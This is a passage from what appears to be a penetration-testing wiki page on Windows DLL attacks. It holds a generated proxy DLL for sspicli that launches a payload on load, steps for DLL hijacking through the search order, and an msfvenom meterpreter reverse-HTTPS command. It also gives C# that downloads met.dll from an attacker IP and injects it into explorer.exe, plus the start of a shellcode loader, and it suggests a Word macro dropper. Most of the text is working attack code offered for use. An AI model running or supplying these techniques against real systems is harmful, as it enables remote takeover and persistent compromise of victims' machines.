#pragma comment(linker,&amp;quot;/export:AddCredentialsW=C:\\Windows\\System32\\sspicli.AddCredentialsW,@8&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:AddSecurityPackageA=C:\\Windows\\System32\\sspicli.AddSecurityPackageA,@9&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:AddSecurityPackageW=C:\\Windows\\System32\\sspicli.AddSecurityPackageW,@10&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ApplyControlToken=C:\\Windows\\System32\\sspicli.ApplyControlToken,@11&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ChangeAccountPasswordA=C:\\Windows\\System32\\sspicli.ChangeAccountPasswordA,@12&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ChangeAccountPasswordW=C:\\Windows\\System32\\sspicli.ChangeAccountPasswordW,@13&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:CompleteAuthToken=C:\\Windows\\System32\\sspicli.CompleteAuthToken,@14&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:CredMarshalTargetInfo=C:\\Windows\\System32\\sspicli.CredMarshalTargetInfo,@15&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:CredUnmarshalTargetInfo=C:\\Windows\\System32\\sspicli.CredUnmarshalTargetInfo,@16&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:DecryptMessage=C:\\Windows\\System32\\sspicli.DecryptMessage,@17&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:DeleteSecurityContext=C:\\Windows\\System32\\sspicli.DeleteSecurityContext,@18&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:DeleteSecurityPackageA=C:\\Windows\\System32\\sspicli.DeleteSecurityPackageA,@19&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:DeleteSecurityPackageW=C:\\Windows\\System32\\sspicli.DeleteSecurityPackageW,@20&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:EncryptMessage=C:\\Windows\\System32\\sspicli.EncryptMessage,@21&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:EnumerateSecurityPackagesA=C:\\Windows\\System32\\sspicli.EnumerateSecurityPackagesA,@22&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:EnumerateSecurityPackagesW=C:\\Windows\\System32\\sspicli.EnumerateSecurityPackagesW,@23&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ExportSecurityContext=C:\\Windows\\System32\\sspicli.ExportSecurityContext,@24&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:FreeContextBuffer=C:\\Windows\\System32\\sspicli.FreeContextBuffer,@25&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:FreeCredentialsHandle=C:\\Windows\\System32\\sspicli.FreeCredentialsHandle,@26&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:GetSecurityUserInfo=C:\\Windows\\System32\\sspicli.GetSecurityUserInfo,@27&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:GetUserNameExA=C:\\Windows\\System32\\sspicli.GetUserNameExA,@28&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:GetUserNameExW=C:\\Windows\\System32\\sspicli.GetUserNameExW,@29&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ImpersonateSecurityContext=C:\\Windows\\System32\\sspicli.ImpersonateSecurityContext,@30&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ImportSecurityContextA=C:\\Windows\\System32\\sspicli.ImportSecurityContextA,@31&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ImportSecurityContextW=C:\\Windows\\System32\\sspicli.ImportSecurityContextW,@32&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:InitSecurityInterfaceA=C:\\Windows\\System32\\sspicli.InitSecurityInterfaceA,@33&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:InitSecurityInterfaceW=C:\\Windows\\System32\\sspicli.InitSecurityInterfaceW,@34&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:InitializeSecurityContextA=C:\\Windows\\System32\\sspicli.InitializeSecurityContextA,@35&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:InitializeSecurityContextW=C:\\Windows\\System32\\sspicli.InitializeSecurityContextW,@36&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LogonUserExExW=C:\\Windows\\System32\\sspicli.LogonUserExExW,@37&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaCallAuthenticationPackage=C:\\Windows\\System32\\sspicli.LsaCallAuthenticationPackage,@38&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaConnectLocalUser=C:\\Windows\\System32\\sspicli.LsaConnectLocalUser,@39&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaConnectUntrusted=C:\\Windows\\System32\\sspicli.LsaConnectUntrusted,@40&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaDeregisterLogonProcess=C:\\Windows\\System32\\sspicli.LsaDeregisterLogonProcess,@41&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaEnumerateLogonSessions=C:\\Windows\\System32\\sspicli.LsaEnumerateLogonSessions,@42&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaFreeReturnBuffer=C:\\Windows\\System32\\sspicli.LsaFreeReturnBuffer,@43&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaGetLogonSessionData=C:\\Windows\\System32\\sspicli.LsaGetLogonSessionData,@44&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaLogonUser=C:\\Windows\\System32\\sspicli.LsaLogonUser,@45&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaLookupAuthenticationPackage=C:\\Windows\\System32\\sspicli.LsaLookupAuthenticationPackage,@46&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaRegisterLogonProcess=C:\\Windows\\System32\\sspicli.LsaRegisterLogonProcess,@47&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaRegisterPolicyChangeNotification=C:\\Windows\\System32\\sspicli.LsaRegisterPolicyChangeNotification,@48&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaSetMachineCertificate=C:\\Windows\\System32\\sspicli.LsaSetMachineCertificate,@49&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaUnregisterPolicyChangeNotification=C:\\Windows\\System32\\sspicli.LsaUnregisterPolicyChangeNotification,@50&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:MakeSignature=C:\\Windows\\System32\\sspicli.MakeSignature,@51&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryContextAttributesA=C:\\Windows\\System32\\sspicli.QueryContextAttributesA,@52&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryContextAttributesExA=C:\\Windows\\System32\\sspicli.QueryContextAttributesExA,@53&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryContextAttributesExW=C:\\Windows\\System32\\sspicli.QueryContextAttributesExW,@54&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryContextAttributesW=C:\\Windows\\System32\\sspicli.QueryContextAttributesW,@55&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryCredentialsAttributesA=C:\\Windows\\System32\\sspicli.QueryCredentialsAttributesA,@56&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryCredentialsAttributesExA=C:\\Windows\\System32\\sspicli.QueryCredentialsAttributesExA,@57&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryCredentialsAttributesExW=C:\\Windows\\System32\\sspicli.QueryCredentialsAttributesExW,@58&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryCredentialsAttributesW=C:\\Windows\\System32\\sspicli.QueryCredentialsAttributesW,@59&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QuerySecurityContextToken=C:\\Windows\\System32\\sspicli.QuerySecurityContextToken,@60&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QuerySecurityPackageInfoA=C:\\Windows\\System32\\sspicli.QuerySecurityPackageInfoA,@61&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QuerySecurityPackageInfoW=C:\\Windows\\System32\\sspicli.QuerySecurityPackageInfoW,@62&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:RevertSecurityContext=C:\\Windows\\System32\\sspicli.RevertSecurityContext,@63&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslAcceptSecurityContext=C:\\Windows\\System32\\sspicli.SaslAcceptSecurityContext,@64&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslEnumerateProfilesA=C:\\Windows\\System32\\sspicli.SaslEnumerateProfilesA,@65&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslEnumerateProfilesW=C:\\Windows\\System32\\sspicli.SaslEnumerateProfilesW,@66&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslGetContextOption=C:\\Windows\\System32\\sspicli.SaslGetContextOption,@67&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslGetProfilePackageA=C:\\Windows\\System32\\sspicli.SaslGetProfilePackageA,@68&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslGetProfilePackageW=C:\\Windows\\System32\\sspicli.SaslGetProfilePackageW,@69&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslIdentifyPackageA=C:\\Windows\\System32\\sspicli.SaslIdentifyPackageA,@70&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslIdentifyPackageW=C:\\Windows\\System32\\sspicli.SaslIdentifyPackageW,@71&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslInitializeSecurityContextA=C:\\Windows\\System32\\sspicli.SaslInitializeSecurityContextA,@72&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslInitializeSecurityContextW=C:\\Windows\\System32\\sspicli.SaslInitializeSecurityContextW,@73&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslSetContextOption=C:\\Windows\\System32\\sspicli.SaslSetContextOption,@74&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SealMessage=C:\\Windows\\System32\\sspicli.SealMessage,@75&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SecCacheSspiPackages=C:\\Windows\\System32\\sspicli.SecCacheSspiPackages,@76&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SecDeleteUserModeContext=C:\\Windows\\System32\\sspicli.SecDeleteUserModeContext,@1&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SecInitUserModeContext=C:\\Windows\\System32\\sspicli.SecInitUserModeContext,@2&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SeciAllocateAndSetCallFlags=C:\\Windows\\System32\\sspicli.SeciAllocateAndSetCallFlags,@77&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SeciAllocateAndSetCallTarget=C:\\Windows\\System32\\sspicli.SeciAllocateAndSetCallTarget,@78&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SeciAllocateAndSetIPAddress=C:\\Windows\\System32\\sspicli.SeciAllocateAndSetIPAddress,@79&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SeciFreeCallContext=C:\\Windows\\System32\\sspicli.SeciFreeCallContext,@80&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SeciIsProtectedUser=C:\\Windows\\System32\\sspicli.SeciIsProtectedUser,@81&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SetContextAttributesA=C:\\Windows\\System32\\sspicli.SetContextAttributesA,@82&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SetContextAttributesW=C:\\Windows\\System32\\sspicli.SetContextAttributesW,@83&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SetCredentialsAttributesA=C:\\Windows\\System32\\sspicli.SetCredentialsAttributesA,@84&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SetCredentialsAttributesW=C:\\Windows\\System32\\sspicli.SetCredentialsAttributesW,@85&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiCompareAuthIdentities=C:\\Windows\\System32\\sspicli.SspiCompareAuthIdentities,@86&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiCopyAuthIdentity=C:\\Windows\\System32\\sspicli.SspiCopyAuthIdentity,@87&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiDecryptAuthIdentity=C:\\Windows\\System32\\sspicli.SspiDecryptAuthIdentity,@88&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiDecryptAuthIdentityEx=C:\\Windows\\System32\\sspicli.SspiDecryptAuthIdentityEx,@89&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiEncodeAuthIdentityAsStrings=C:\\Windows\\System32\\sspicli.SspiEncodeAuthIdentityAsStrings,@90&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiEncodeStringsAsAuthIdentity=C:\\Windows\\System32\\sspicli.SspiEncodeStringsAsAuthIdentity,@91&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiEncryptAuthIdentity=C:\\Windows\\System32\\sspicli.SspiEncryptAuthIdentity,@92&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiEncryptAuthIdentityEx=C:\\Windows\\System32\\sspicli.SspiEncryptAuthIdentityEx,@93&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiExcludePackage=C:\\Windows\\System32\\sspicli.SspiExcludePackage,@94&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiFreeAuthIdentity=C:\\Windows\\System32\\sspicli.SspiFreeAuthIdentity,@95&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiGetComputerNameForSPN=C:\\Windows\\System32\\sspicli.SspiGetComputerNameForSPN,@96&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiGetTargetHostName=C:\\Windows\\System32\\sspicli.SspiGetTargetHostName,@97&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiIsAuthIdentityEncrypted=C:\\Windows\\System32\\sspicli.SspiIsAuthIdentityEncrypted,@98&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiLocalFree=C:\\Windows\\System32\\sspicli.SspiLocalFree,@99&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiMarshalAuthIdentity=C:\\Windows\\System32\\sspicli.SspiMarshalAuthIdentity,@100&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiPrepareForCredRead=C:\\Windows\\System32\\sspicli.SspiPrepareForCredRead,@101&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiPrepareForCredWrite=C:\\Windows\\System32\\sspicli.SspiPrepareForCredWrite,@102&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiSetChannelBindingFlags=C:\\Windows\\System32\\sspicli.SspiSetChannelBindingFlags,@103&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiUnmarshalAuthIdentity=C:\\Windows\\System32\\sspicli.SspiUnmarshalAuthIdentity,@104&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiUnmarshalAuthIdentityInternal=C:\\Windows\\System32\\sspicli.SspiUnmarshalAuthIdentityInternal,@3&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiValidateAuthIdentity=C:\\Windows\\System32\\sspicli.SspiValidateAuthIdentity,@105&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiZeroAuthIdentity=C:\\Windows\\System32\\sspicli.SspiZeroAuthIdentity,@106&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:UnsealMessage=C:\\Windows\\System32\\sspicli.UnsealMessage,@107&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:VerifySignature=C:\\Windows\\System32\\sspicli.VerifySignature,@108&amp;quot;)&lt;br /&gt;
#include &amp;quot;windows.h&amp;quot;&lt;br /&gt;
#include &amp;quot;ios&amp;quot;&lt;br /&gt;
#include &amp;quot;fstream&amp;quot;&lt;br /&gt;
&lt;br /&gt;
// Remove this line if you aren&#039;t proxying any functions.&lt;br /&gt;
HMODULE hModule = LoadLibrary(L&amp;quot;C:\\Windows\\System32\\sspicli.dll&amp;quot;);&lt;br /&gt;
// Remove this function if you aren&#039;t proxying any functions.&lt;br /&gt;
VOID DebugToFile(LPCSTR szInput)&lt;br /&gt;
{&lt;br /&gt;
    std::ofstream log(&amp;quot;spartacus-proxy-sspicli.log&amp;quot;, std::ios_base::app | std::ios_base::out);&lt;br /&gt;
    log &amp;lt;&amp;lt; szInput;&lt;br /&gt;
    log &amp;lt;&amp;lt; &amp;quot;\n&amp;quot;;&lt;br /&gt;
}&lt;br /&gt;
void Payload()&lt;br /&gt;
{&lt;br /&gt;
    STARTUPINFO si;&lt;br /&gt;
    PROCESS_INFORMATION pi;&lt;br /&gt;
    wchar_t cmd[] = L&amp;quot;calc.exe&amp;quot;;&lt;br /&gt;
    ZeroMemory(&amp;amp;si, sizeof(si));&lt;br /&gt;
    si.cb = sizeof(si);&lt;br /&gt;
    ZeroMemory(&amp;amp;pi, sizeof(pi));&lt;br /&gt;
    CreateProcess(NULL, cmd, NULL, NULL, FALSE, 0, NULL, NULL, &amp;amp;si, &amp;amp;pi);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)&lt;br /&gt;
{&lt;br /&gt;
    switch (ul_reason_for_call)&lt;br /&gt;
    {&lt;br /&gt;
    case DLL_PROCESS_ATTACH:&lt;br /&gt;
        Payload();&lt;br /&gt;
        break;&lt;br /&gt;
    case DLL_THREAD_ATTACH:&lt;br /&gt;
    case DLL_THREAD_DETACH:&lt;br /&gt;
    case DLL_PROCESS_DETACH:&lt;br /&gt;
        break;&lt;br /&gt;
    }&lt;br /&gt;
    return TRUE;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== DLL Hijacking ==&lt;br /&gt;
&lt;br /&gt;
* Use ProcessMonitor with filters&lt;br /&gt;
&amp;lt;code&amp;gt;Result Contains &amp;quot;Name Not Found&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;Path Ends With &amp;quot;.dll&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Generate a DLL. See below.&lt;br /&gt;
&lt;br /&gt;
* Name it as with the same name as the missing DLL.&lt;br /&gt;
&lt;br /&gt;
* If you have writeAccess to program folder, place it there. Otherwise try to abuse DLL search order.&lt;br /&gt;
&lt;br /&gt;
DLL search order is as shown:&lt;br /&gt;
&lt;br /&gt;
* The directory from which the application is loaded (E.g. &#039;&#039;&#039;C:\Program Files\application&#039;&#039;&#039;)&lt;br /&gt;
&lt;br /&gt;
* The system directory (&#039;&#039;&#039;C:\Windows\System32&#039;&#039;&#039;)&lt;br /&gt;
&lt;br /&gt;
* The 16-bit system directory&lt;br /&gt;
&lt;br /&gt;
* The Windows directory&lt;br /&gt;
&lt;br /&gt;
* The current directory&lt;br /&gt;
&lt;br /&gt;
* Directories that are listed in the &#039;&#039;PATH&#039;&#039; environment variable&lt;br /&gt;
&lt;br /&gt;
== DLL Injection ==&lt;br /&gt;
&lt;br /&gt;
* Open Visual Studios&lt;br /&gt;
&lt;br /&gt;
* Choose &amp;lt;code&amp;gt;Class Library (.Net Framework)&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* Accept the default name: &amp;lt;code&amp;gt;ClassLibrary1&amp;lt;/code&amp;gt; and proceed.&lt;br /&gt;
&lt;br /&gt;
=== Staged DLL Injection ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo msfvenom -p windows/x64/meterpreter/reverse_https&lt;br /&gt;
LHOST=192.168.119.120 LPORT=443 -f dll -o /var/www/html/met.dll&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This is a ConsoleApp. When its run it will inject the generated &#039;&#039;&#039;met.dll &#039;&#039;&#039;above into &#039;&#039;&#039;explorer.exe&#039;&#039;&#039;. Change process name if you want to inject another process. For example Notepad. Just be sure that the process is actually running on the target machine before you inject it.&lt;br /&gt;
&lt;br /&gt;
Note that this payload will write the met.dll to &#039;&#039;&#039;disk. &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Net;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Text;&lt;br /&gt;
namespace Inject&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        // Import the OpenProcess function from the kernel32.dll library.&lt;br /&gt;
        // This function is used to open an existing process by its ID.&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);&lt;br /&gt;
        // Import the VirtualAllocEx function from the kernel32.dll library.&lt;br /&gt;
        // This function allocates memory within a specified process.&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        // Import the WriteProcessMemory function from the kernel32.dll library.&lt;br /&gt;
        // This function writes data to an area of memory in a specified process.&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        // Import the CreateRemoteThread function from the kernel32.dll library.&lt;br /&gt;
        // This function creates a thread that runs in the address space of a specified process.&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        // Import the GetProcAddress function from the kernel32.dll library.&lt;br /&gt;
        // This function retrieves the address of an exported function or variable from a specified DLL.&lt;br /&gt;
        [DllImport(&amp;quot;kernel32&amp;quot;, CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]&lt;br /&gt;
        static extern IntPtr GetProcAddress(IntPtr hModule, string procName);&lt;br /&gt;
        // Import the GetModuleHandle function from the kernel32.dll library.&lt;br /&gt;
        // This function retrieves a handle to the specified module (DLL) in the current process.&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, CharSet = CharSet.Auto)]&lt;br /&gt;
        public static extern IntPtr GetModuleHandle(string lpModuleName);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Get the path to the My Documents folder.&lt;br /&gt;
            String dir = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);&lt;br /&gt;
            // Construct the full path to the DLL file to be downloaded.&lt;br /&gt;
            String dllName = dir + &amp;quot;\\met.dll&amp;quot;;&lt;br /&gt;
            // Create a WebClient instance for downloading files from the Internet.&lt;br /&gt;
            WebClient wc = new WebClient();&lt;br /&gt;
            // Download the DLL file from the specified URL to the local system.&lt;br /&gt;
            wc.DownloadFile(&amp;quot;http://192.168.119.120/met.dll&amp;quot;, dllName);&lt;br /&gt;
            // Get an array of Process instances for processes with the name &amp;quot;explorer&amp;quot;.&lt;br /&gt;
            Process[] expProc = Process.GetProcessesByName(&amp;quot;explorer&amp;quot;);&lt;br /&gt;
            // Get the process ID of the first explorer process.&lt;br /&gt;
            int pid = expProc[0].Id;&lt;br /&gt;
            // Open the specified process with certain access rights.&lt;br /&gt;
            IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);&lt;br /&gt;
            // Allocate memory within the specified process.&lt;br /&gt;
            IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
            // Declare a variable to store the number of bytes written during memory write operation.&lt;br /&gt;
            IntPtr outSize;&lt;br /&gt;
            // Write the bytes of the DLL name to the allocated memory in the target process.&lt;br /&gt;
            Boolean res = WriteProcessMemory(hProcess, addr, Encoding.Default.GetBytes(dllName), dllName.Length, out outSize);&lt;br /&gt;
            // Get the address of the LoadLibraryA function from the kernel32.dll library.&lt;br /&gt;
            IntPtr loadLib = GetProcAddress(GetModuleHandle(&amp;quot;kernel32.dll&amp;quot;), &amp;quot;LoadLibraryA&amp;quot;);&lt;br /&gt;
            // Create a remote thread within the target process to execute the LoadLibraryA function.&lt;br /&gt;
            IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, loadLib, addr, 0, IntPtr.Zero);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-08-image-4.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Reflective DLL Injection ===&lt;br /&gt;
&lt;br /&gt;
This is a ClassLibrary. PowerShell that will download and execute malicious code in memory &#039;&#039;&#039;without touching the disk&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
Requires a malicious DLL hosted on a download location you control.&lt;br /&gt;
&lt;br /&gt;
You can for example create the DLL, then create a Word Macro as a dropper that will execute the PS1 script, that again downloads and executes the DLL.&lt;br /&gt;
&lt;br /&gt;
The below code is a Class Library (.NET Framework)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace runthat&lt;br /&gt;
{&lt;br /&gt;
    public class Beirut&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern bool VirtualFree(IntPtr lpAddress, uint dwSize, uint dwFreeType);&lt;br /&gt;
        public static void Tripoli()&lt;br /&gt;
        {&lt;br /&gt;
            byte[] Tokyo = new byte[324] { /* ... (byte values here) ... */ };&lt;br /&gt;
            int size = Tokyo.Length;&lt;br /&gt;
            IntPtr Texas = Beirut.VirtualAlloc(IntPtr.Zero, (uint)Tokyo.Length, 0x3000, 0x40);&lt;br /&gt;
            Marshal.Copy(Tokyo, 0, Texas, Tokyo.Length);&lt;br /&gt;
            Beirut.VirtualProtect(Texas, (uint)Tokyo.Length, 0x20, out _);&lt;br /&gt;
            IntPtr threadHandle = Beirut.CreateThread(IntPtr.Zero, 0, Texas, IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
